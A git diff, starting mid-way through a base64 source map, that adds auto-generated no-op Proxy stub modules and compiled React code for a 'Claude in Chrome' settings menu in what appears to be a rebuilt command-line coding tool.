29tbWFuZC5qcydcbmltcG9ydCB7XG4gIGFwcGx5UGVybWlzc2lvblVwZGF0ZSxcbiAgcGVyc2lzdFBlcm1pc3Npb25VcGRhdGUsXG59IGZyb20gJy4uLy4uL3V0aWxzL3Blcm1pc3Npb25zL1Blcm1pc3Npb25VcGRhdGUuanMnXG5pbXBvcnQgdHlwZSB7IFBlcm1pc3Npb25VcGRhdGVEZXN0aW5hdGlvbiB9IGZyb20gJy4uLy4uL3V0aWxzL3Blcm1pc3Npb25zL1Blcm1pc3Npb25VcGRhdGVTY2hlbWEuanMnXG5pbXBvcnQgeyBTYW5kYm94TWFuYWdlciB9IGZyb20gJy4uLy4uL3V0aWxzL3NhbmRib3gvc2FuZGJveC1hZGFwdGVyLmpzJ1xuaW1wb3J0IHtcbiAgYWRkRGlySGVscE1lc3NhZ2UsXG4gIHZhbGlkYXRlRGlyZWN0b3J5Rm9yV29ya3NwYWNlLFxufSBmcm9tICcuL3ZhbGlkYXRpb24uanMnXG5cbmZ1bmN0aW9uIEFkZERpckVycm9yKHtcbiAgbWVzc2FnZSxcbiAgYXJncyxcbiAgb25Eb25lLFxufToge1xuICBtZXNzYWdlOiBzdHJpbmdcbiAgYXJnczogc3RyaW5nXG4gIG9uRG9uZTogKCkgPT4gdm9pZFxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgLy8gV2UgbmVlZCB0byBkZWZlciBjYWxsaW5nIG9uRG9uZSB0byBhdm9pZCB0aGUgXCJyZXR1cm4gbnVsbFwiIGJ1ZyB3aGVyZVxuICAgIC8vIHRoZSBjb21wb25lbnQgdW5tb3VudHMgYmVmb3JlIFJlYWN0IGNhbiByZW5kZXIgdGhlIGVycm9yIG1lc3NhZ2UuXG4gICAgLy8gVXNpbmcgc2V0VGltZW91dCBlbnN1cmVzIHRoZSBlcnJvciBkaXNwbGF5cyBiZWZvcmUgdGhlIGNvbW1hbmQgZXhpdHMuXG4gICAgY29uc3QgdGltZXIgPSBzZXRUaW1lb3V0KG9uRG9uZSwgMClcbiAgICByZXR1cm4gKCkgPT4gY2xlYXJUaW1lb3V0KHRpbWVyKVxuICB9LCBbb25Eb25lXSlcblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgIHtmaWd1cmVzLnBvaW50ZXJ9IC9hZGQtZGlyIHthcmdzfVxuICAgICAgPC9UZXh0PlxuICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgPFRleHQ+e21lc3NhZ2V9PC9UZXh0PlxuICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgPC9Cb3g+XG4gIClcbn1cblxuZXhwb3J0IGFzeW5jIGZ1bmN0aW9uIGNhbGwoXG4gIG9uRG9uZTogTG9jYWxKU1hDb21tYW5kT25Eb25lLFxuICBjb250ZXh0OiBMb2NhbEpTWENvbW1hbmRDb250ZXh0LFxuICBhcmdzPzogc3RyaW5nLFxuKTogUHJvbWlzZTxSZWFjdC5SZWFjdE5vZGU+IHtcbiAgY29uc3QgZGlyZWN0b3J5UGF0aCA9IChhcmdzID8/ICcnKS50cmltKClcbiAgY29uc3QgYXBwU3RhdGUgPSBjb250ZXh0LmdldEFwcFN0YXRlKClcblxuICAvLyBIZWxwZXIgdG8gaGFuZGxlIGFkZGluZyBhIGRpcmVjdG9yeSAoc2hhcmVkIGJ5IGJvdGggd2l0aC1wYXRoIGFuZCBuby1wYXRoIGNhc2VzKVxuICBjb25zdCBoYW5kbGVBZGREaXJlY3RvcnkgPSBhc3luYyAocGF0aDogc3RyaW5nLCByZW1lbWJlciA9IGZhbHNlKSA9PiB7XG4gICAgY29uc3QgZGVzdGluYXRpb246IFBlcm1pc3Npb25VcGRhdGVEZXN0aW5hdGlvbiA9IHJlbWVtYmVyXG4gICAgICA/ICdsb2NhbFNldHRpbmdzJ1xuICAgICAgOiAnc2Vzc2lvbidcblxuICAgIGNvbnN0IHBlcm1pc3Npb25VcGRhdGUgPSB7XG4gICAgICB0eXBlOiAnYWRkRGlyZWN0b3JpZXMnIGFzIGNvbnN0LFxuICAgICAgZGlyZWN0b3JpZXM6IFtwYXRoXSxcbiAgICAgIGRlc3RpbmF0aW9uLFxuICAgIH1cblxuICAgIC8vIEFwcGx5IHRvIHNlc3Npb24gY29udGV4dFxuICAgIGNvbnN0IGxhdGVzdEFwcFN0YXRlID0gY29udGV4dC5nZXRBcHBTdGF0ZSgpXG4gICAgY29uc3QgdXBkYXRlZENvbnRleHQgPSBhcHBseVBlcm1pc3Npb25VcGRhdGUoXG4gICAgICBsYXRlc3RBcHBTdGF0ZS50b29sUGVybWlzc2lvbkNvbnRleHQsXG4gICAgICBwZXJtaXNzaW9uVXBkYXRlLFxuICAgIClcbiAgICBjb250ZXh0LnNldEFwcFN0YXRlKHByZXYgPT4gKHtcbiAgICAgIC4uLnByZXYsXG4gICAgICB0b29sUGVybWlzc2lvbkNvbnRleHQ6IHVwZGF0ZWRDb250ZXh0LFxuICAgIH0pKVxuXG4gICAgLy8gVXBkYXRlIHNhbmRib3ggY29uZmlnIHNvIEJhc2ggY29tbWFuZHMgY2FuIGFjY2VzcyB0aGUgbmV3IGRpcmVjdG9yeS5cbiAgICAvLyBCb290c3RyYXAgc3RhdGUgaXMgdGhlIHNvdXJjZSBvZiB0cnV0aCBmb3Igc2Vzc2lvbi1vbmx5IGRpcnM7IHBlcnNpc3RlZFxuICAgIC8vIGRpcnMgYXJlIHBpY2tlZCB1cCB2aWEgdGhlIHNldHRpbmdzIHN1YnNjcmlwdGlvbiwgYnV0IHdlIHJlZnJlc2hcbiAgICAvLyBlYWdlcmx5IGhlcmUgdG8gYXZvaWQgYSByYWNlIHdoZW4gdGhlIHVzZXIgYWN0cyBpbW1lZGlhdGVseS5cbiAgICBjb25zdCBjdXJyZW50RGlycyA9IGdldEFkZGl0aW9uYWxEaXJlY3Rvcmllc0ZvckNsYXVkZU1kKClcbiAgICBpZiAoIWN1cnJlbnREaXJzLmluY2x1ZGVzKHBhdGgpKSB7XG4gICAgICBzZXRBZGRpdGlvbmFsRGlyZWN0b3JpZXNGb3JDbGF1ZGVNZChbLi4uY3VycmVudERpcnMsIHBhdGhdKVxuICAgIH1cbiAgICBTYW5kYm94TWFuYWdlci5yZWZyZXNoQ29uZmlnKClcblxuICAgIGxldCBtZXNzYWdlOiBzdHJpbmdcblxuICAgIGlmIChyZW1lbWJlcikge1xuICAgICAgdHJ5IHtcbiAgICAgICAgcGVyc2lzdFBlcm1pc3Npb25VcGRhdGUocGVybWlzc2lvblVwZGF0ZSlcbiAgICAgICAgbWVzc2FnZSA9IGBBZGRlZCAke2NoYWxrLmJvbGQocGF0aCl9IGFzIGEgd29ya2luZyBkaXJlY3RvcnkgYW5kIHNhdmVkIHRvIGxvY2FsIHNldHRpbmdzYFxuICAgICAgfSBjYXRjaCAoZXJyb3IpIHtcbiAgICAgICAgbWVzc2FnZSA9IGBBZGRlZCAke2NoYWxrLmJvbGQocGF0aCl9IGFzIGEgd29ya2luZyBkaXJlY3RvcnkuIEZhaWxlZCB0byBzYXZlIHRvIGxvY2FsIHNldHRpbmdzOiAke2Vycm9yIGluc3RhbmNlb2YgRXJyb3IgPyBlcnJvci5tZXNzYWdlIDogJ1Vua25vd24gZXJyb3InfWBcbiAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgbWVzc2FnZSA9IGBBZGRlZCAke2NoYWxrLmJvbGQocGF0aCl9IGFzIGEgd29ya2luZyBkaXJlY3RvcnkgZm9yIHRoaXMgc2Vzc2lvbmBcbiAgICB9XG5cbiAgICBjb25zdCBtZXNzYWdlV2l0aEhpbnQgPSBgJHttZXNzYWdlfSAke2NoYWxrLmRpbSgnwrcgL3Blcm1pc3Npb25zIHRvIG1hbmFnZScpfWBcbiAgICBvbkRvbmUobWVzc2FnZVdpdGhIaW50KVxuICB9XG5cbiAgLy8gV2hlbiBubyBwYXRoIGlzIHByb3ZpZGVkLCBzaG93IEFkZFdvcmtzcGFjZURpcmVjdG9yeSBpbnB1dCBmb3JtIGRpcmVjdGx5XG4gIC8vIGFuZCByZXR1cm4gdG8gUkVQTCBhZnRlciBjb25maXJtYXRpb25cbiAgaWYgKCFkaXJlY3RvcnlQYXRoKSB7XG4gICAgcmV0dXJuIChcbiAgICAgIDxBZGRXb3Jrc3BhY2VEaXJlY3RvcnlcbiAgICAgICAgcGVybWlzc2lvbkNvbnRleHQ9e2FwcFN0YXRlLnRvb2xQZXJtaXNzaW9uQ29udGV4dH1cbiAgICAgICAgb25BZGREaXJlY3Rvcnk9e2hhbmRsZUFkZERpcmVjdG9yeX1cbiAgICAgICAgb25DYW5jZWw9eygpID0+IHtcbiAgICAgICAgICBvbkRvbmUoJ0RpZCBub3QgYWRkIGEgd29ya2luZyBkaXJlY3RvcnkuJylcbiAgICAgICAgfX1cbiAgICAgIC8+XG4gICAgKVxuICB9XG5cbiAgY29uc3QgcmVzdWx0ID0gYXdhaXQgdmFsaWRhdGVEaXJlY3RvcnlGb3JXb3Jrc3BhY2UoXG4gICAgZGlyZWN0b3J5UGF0aCxcbiAgICBhcHBTdGF0ZS50b29sUGVybWlzc2lvbkNvbnRleHQsXG4gIClcblxuICBpZiAocmVzdWx0LnJlc3VsdFR5cGUgIT09ICdzdWNjZXNzJykge1xuICAgIGNvbnN0IG1lc3NhZ2UgPSBhZGREaXJIZWxwTWVzc2FnZShyZXN1bHQpXG5cbiAgICByZXR1cm4gKFxuICAgICAgPEFkZERpckVycm9yXG4gICAgICAgIG1lc3NhZ2U9e21lc3NhZ2V9XG4gICAgICAgIGFyZ3M9e2FyZ3MgPz8gJyd9XG4gICAgICAgIG9uRG9uZT17KCkgPT4gb25Eb25lKG1lc3NhZ2UpfVxuICAgICAgLz5cbiAgICApXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxBZGRXb3Jrc3BhY2VEaXJlY3RvcnlcbiAgICAgIGRpcmVjdG9yeVBhdGg9e3Jlc3VsdC5hYnNvbHV0ZVBhdGh9XG4gICAgICBwZXJtaXNzaW9uQ29udGV4dD17YXBwU3RhdGUudG9vbFBlcm1pc3Npb25Db250ZXh0fVxuICAgICAgb25BZGREaXJlY3Rvcnk9e2hhbmRsZUFkZERpcmVjdG9yeX1cbiAgICAgIG9uQ2FuY2VsPXsoKSA9PiB7XG4gICAgICAgIG9uRG9uZShcbiAgICAgICAgICBgRGlkIG5vdCBhZGQgJHtjaGFsay5ib2xkKHJlc3VsdC5hYnNvbHV0ZVBhdGgpfSBhcyBhIHdvcmtpbmcgZGlyZWN0b3J5LmAsXG4gICAgICAgIClcbiAgICAgIH19XG4gICAgLz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsT0FBT0MsT0FBTyxNQUFNLFNBQVM7QUFDN0IsT0FBT0MsS0FBSyxJQUFJQyxTQUFTLFFBQVEsT0FBTztBQUN4QyxTQUNFQyxtQ0FBbUMsRUFDbkNDLG1DQUFtQyxRQUM5Q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UNmLElBQUksQ0FBQyw4REFBOERnQixLQUFLLFlBQVlDLEtBQUssR0FBR0QsS0FBSyxDQUFDckMsT0FBTyxHQUFHLGVBQWUsRUFBRTtNQUM3SjtJQUNGLENBQUMsTUFBTTtNQUNMQSxPQUFPLEdBQUcsU0FBU3RCLEtBQUssQ0FBQzBELElBQUksQ0FBQ2YsSUFBSSxDQUFDLDBDQUEwQztJQUMvRTtJQUVBLE1BQU1rQixlQUFlLEdBQUcsR0FBR3ZDLE9BQU8sSUFBSXRCLEtBQUssQ0FBQzhELEdBQUcsQ0FBQywwQkFBMEIsQ0FBQyxFQUFFO0lBQzdFdEMsTUFBTSxDQUFDcUMsZUFBZSxDQUFDO0VBQ3pCLENBQUM7O0VBRUQ7RUFDQTtFQUNBLElBQUksQ0FBQ3ZCLGFBQWEsRUFBRTtJQUNsQixPQUNFLENBQUMscUJBQXFCLENBQ3BCLGlCQUFpQixDQUFDLENBQUNFLFFBQVEsQ0FBQ1kscUJBQXFCLENBQUMsQ0FDbEQsY0FBYyxDQUFDLENBQUNWLGtCQUFrQixDQUFDLENBQ25DLFFBQVEsQ0FBQyxDQUFDLE1BQU07TUFDZGxCLE1BQU0sQ0FBQyxrQ0FBa0MsQ0FBQztJQUM1QyxDQUFDLENBQUMsR0FDRjtFQUVOO0VBRUEsTUFBTXVDLE1BQU0sR0FBRyxNQUFNOUMsNkJBQTZCLENBQ2hEcUIsYUFBYSxFQUNiRSxRQUFRLENBQUNZLHFCQUNYLENBQUM7RUFFRCxJQUFJVyxNQUFNLENBQUNDLFVBQVUsS0FBSyxTQUFTLEVBQUU7SUFDbkMsTUFBTTFDLE9BQU8sR0FBR04saUJBQWlCLENBQUMrQyxNQUFNLENBQUM7SUFFekMsT0FDRSxDQUFDLFdBQVcsQ0FDVixPQUFPLENBQUMsQ0FBQ3pDLE9BQU8sQ0FBQyxDQUNqQixJQUFJLENBQUMsQ0FBQ0MsSUFBSSxJQUFJLEVBQUUsQ0FBQyxDQUNqQixNQUFNLENBQUMsQ0FBQyxNQUFNQyxNQUFNLENBQUNGLE9BQU8sQ0FBQyxDQUFDLEdBQzlCO0VBRU47RUFFQSxPQUNFLENBQUMscUJBQXFCLENBQ3BCLGFBQWEsQ0FBQyxDQUFDeUMsTUFBTSxDQUFDRSxZQUFZLENBQUMsQ0FDbkMsaUJBQWlCLENBQUMsQ0FBQ3pCLFFBQVEsQ0FBQ1kscUJBQXFCLENBQUMsQ0FDbEQsY0FBYyxDQUFDLENBQUNWLGtCQUFrQixDQUFDLENBQ25DLFFBQVEsQ0FBQyxDQUFDLE1BQU07SUFDZGxCLE1BQU0sQ0FDSixlQUFleEIsS0FBSyxDQUFDMEQsSUFBSSxDQUFDSyxNQUFNLENBQUNFLFlBQVksQ0FBQywwQkFDaEQsQ0FBQztFQUNILENBQUMsQ0FBQyxHQUNGO0FBRU4iLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/cc-haha/src/commands/agents-platform/index.ts b/cc-haha/src/commands/agents-platform/index.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/commands/agents-platform/index.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/commands/backfill-sessions/index.js b/cc-haha/src/commands/backfill-sessions/index.js
new file mode 100644
index 0000000..e1a619d
--- /dev/null
+++ b/cc-haha/src/commands/backfill-sessions/index.js
@@ -0,0 +1 @@
+export default { isEnabled: () => false, isHidden: true, name: 'stub' };
diff --git a/cc-haha/src/commands/chrome/chrome.tsx b/cc-haha/src/commands/chrome/chrome.tsx
new file mode 100644
index 0000000..c337873
--- /dev/null
+++ b/cc-haha/src/commands/chrome/chrome.tsx
@@ -0,0 +1,285 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useState } from 'react';
+import { type OptionWithDescription, Select } from '../../components/CustomSelect/select.js';
+import { Dialog } from '../../components/design-system/Dialog.js';
+import { Box, Text } from '../../ink.js';
+import { useAppState } from '../../state/AppState.js';
+import { isClaudeAISubscriber } from '../../utils/auth.js';
+import { openBrowser } from '../../utils/browser.js';
+import { CLAUDE_IN_CHROME_MCP_SERVER_NAME, openInChrome } from '../../utils/claudeInChrome/common.js';
+import { isChromeExtensionInstalled } from '../../utils/claudeInChrome/setup.js';
+import { getGlobalConfig, saveGlobalConfig } from '../../utils/config.js';
+import { env } from '../../utils/env.js';
+import { isRunningOnHomespace } from '../../utils/envUtils.js';
+const CHROME_EXTENSION_URL = 'https://claude.ai/chrome';
+const CHROME_PERMISSIONS_URL = 'https://clau.de/chrome/permissions';
+const CHROME_RECONNECT_URL = 'https://clau.de/chrome/reconnect';
+type MenuAction = 'install-extension' | 'reconnect' | 'manage-permissions' | 'toggle-default';
+type Props = {
+  onDone: (result?: string) => void;
+  isExtensionInstalled: boolean;
+  configEnabled: boolean | undefined;
+  isClaudeAISubscriber: boolean;
+  isWSL: boolean;
+};
+function ClaudeInChromeMenu(t0) {
+  const $ = _c(41);
+  const {
+    onDone,
+    isExtensionInstalled: installed,
+    configEnabled,
+    isClaudeAISubscriber,
+    isWSL
+  } = t0;
+  const mcpClients = useAppState(_temp);
+  const [selectKey, setSelectKey] = useState(0);
+  const [enabledByDefault, setEnabledByDefault] = useState(configEnabled ?? false);
+  const [showInstallHint, setShowInstallHint] = useState(false);
+  const [isExtensionInstalled, setIsExtensionInstalled] = useState(installed);
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = false && isRunningOnHomespace();
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const isHomespace = t1;
+  let t2;
+  if ($[1] !== mcpClients) {
+    t2 = mcpClients.find(_temp2);
+    $[1] = mcpClients;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  const chromeClient = t2;
+  const isConnected = chromeClient?.type === "connected";
+  let t3;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = function openUrl(url) {
+      if (isHomespace) {
+        openBrowser(url);
+      } else {
+        openInChrome(url);
+      }
+    };
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const openUrl = t3;
+  let t4;
+  if ($[4] !== enabledByDefault) {
+    t4 = function handleAction(action) {
+      bb22: switch (action) {
+        case "install-extension":
+          {
+            setSelectKey(_temp3);
+            setShowInstallHint(true);
+            openUrl(CHROME_EXTENSION_URL);
+            break bb22;
+          }
+        case "reconnect":
+          {
+            setSelectKey(_temp4);
+            isChromeExtensionInstalled().then(installed_0 => {
+              setIsExtensionInstalled(installed_0);
+              if (installed_0) {
+                setShowInstallHint(false);
+              }
+            });
+            openUrl(CHROME_RECONNECT_URL);
+            break bb22;
+          }
+        case "manage-permissions":
+          {
+            setSelectKey(_temp5);
+            openUrl(CHROME_PERMISSIONS_URL);
+            break bb22;
+          }
+        case "toggle-default":
+          {
+            const newValue = !enabledByDefault;
+            saveGlobalConfig(current => ({
+              ...current,
+              claudeInChromeDefaultEnabled: newValue
+            }));
+            setEnabledByDefault(newValue);
+          }
+      }
+    };
+    $[4] = enabledByDefault;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  const handleAction = t4;
+  let options;
+  if ($[6] !== enabledByDefault || $[7] !== isExtensionInstalled) {
+    options = [];
+    const requiresExtensionSuffix = isExtensionInstalled ? "" : " (requires extension)";
+    if (!isExtensionInstalled && !isHomespace) {
+      let t5;
+      if ($[9] === Symbol.for("react.memo_cache_sentinel")) {
+        t5 = {
+          label: "Install Chrome extension",
+          value: "install-extension"
+        };
+        $[9] = t5;
+      } else {
+        t5 = $[9];
+      }
+      options.push(t5);
+    }
+    let t5;
+    if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+      t5 = <Text>Manage permissions</Text>;
+      $[10] = t5;
+    } else {
+      t5 = $[10];
+    }
+    let t6;
+    if ($[11] !== requiresExtensionSuffix) {
+      t6 = {
+        label: <>{t5}<Text dimColor={true}>{requiresExtensionSuffix}</Text></>,
+        value: "manage-permissions"
+      };
+      $[11] = requiresExtensionSuffix;
+      $[12] = t6;
+    } else {
+      t6 = $[12];
+    }
+    let t7;
+    if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
+      t7 = <Text>Reconnect extension</Text>;
+      $[13] = t7;
+    } else {
+      t7 = $[13];
+    }
+    let t8;
+    if ($[14] !== requiresExtensionSuffix) {
+      t8 = {
+        label: <>{t7}<Text dimColor={true}>{requiresExtensionSuffix}</Text></>,
+        value: "reconnect"
+      };
+      $[14] = requiresExtensionSuffix;
+      $[15] = t8;
+    } else {
+      t8 = $[15];
+    }
+    const t9 = `Enabled by default: ${enabledByDefault ? "Yes" : "No"}`;
+    let t10;
+    if ($[16] !== t9) {
+      t10 = {
+        label: t9,
+        value: "toggle-default"
+      };
+      $[16] = t9;
+      $[17] = t10;
+    } else {
+      t10 = $[17];
+    }
+    options.push(t6, t8, t10);
+    $[6] = enabledByDefault;
+    $[7] = isExtensionInstalled;
+    $[8] = options;
+  } else {
+    options = $[8];
+  }
+  const isDisabled = isWSL || true && !isClaudeAISubscriber;
+  let t5;
+  if ($[18] !== onDone) {
+    t5 = () => onDone();
+    $[18] = onDone;
+    $[19] = t5;
+  } else {
+    t5 = $[19];
+  }
+  let t6;
+  if ($[20] === Symbol.for("react.memo_cache_sentinel")) {
+    t6 = <Text>Claude in Chrome works with the Chrome extension to let you control your browser directly from Claude Code. Navigate websites, fill forms, capture screenshots, record GIFs, and debug with console logs and network requests.</Text>;
+    $[20] = t6;
+  } else {
+    t6 = $[20];
+  }
+  let t7;
+  if ($[21] !== isWSL) {
+    t7 = isWSL && <Text color="error">Claude in Chrome is not supported in WSL at this time.</Text>;
+    $[21] = isWSL;
+    $[22] = t7;
+  } else {
+    t7 = $[22];
+  }
+  let t8;
+  if ($[23] !== isClaudeAISubscriber) {
+    t8 = true && !isClaudeAISubscriber && <Text color="error">Claude in Chrome requires a claude.ai subscription.</Text>;
+    $[23] = isClaudeAISubscriber;
+    $[24] = t8;
+  } else {
+    t8 = $[24];
+  }
+  let t9;
+  if ($[25] !== handleAction || $[26] !== isConnected || $[27] !== isDisabled || $[28] !== isExtensionInstalled || $[29] !== options || $[30] !== selectKey || $[31] !== showInstallHint) {
